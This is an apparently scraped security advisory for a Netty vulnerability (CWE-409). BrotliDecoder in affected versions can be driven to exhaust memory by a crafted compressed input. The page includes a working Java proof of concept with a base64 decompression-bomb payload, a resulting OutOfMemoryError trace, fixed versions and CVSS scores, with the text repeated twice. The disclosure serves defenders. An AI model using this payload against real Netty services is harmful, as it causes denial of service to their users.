Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers…
GitHub_M·CWE-409·Published 2025-09-03
Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.
Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.
### Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. ### Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. ### PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } } ``` Error: ``` Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11) ``` ### Impact DoS for anyone using `BrotliDecoder` on untrusted input.
### Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. ### Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. ### PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } } ``` Error: ``` Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11) ``` ### Impact DoS for anyone using `BrotliDecoder` on untrusted input.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | NVD | 7.5 | 3.9 | 3.6 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 4.0 | Primary | cve.org | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
| 4.0 | Secondary | GHSA | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
| 4.0 | Secondary | NVD | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |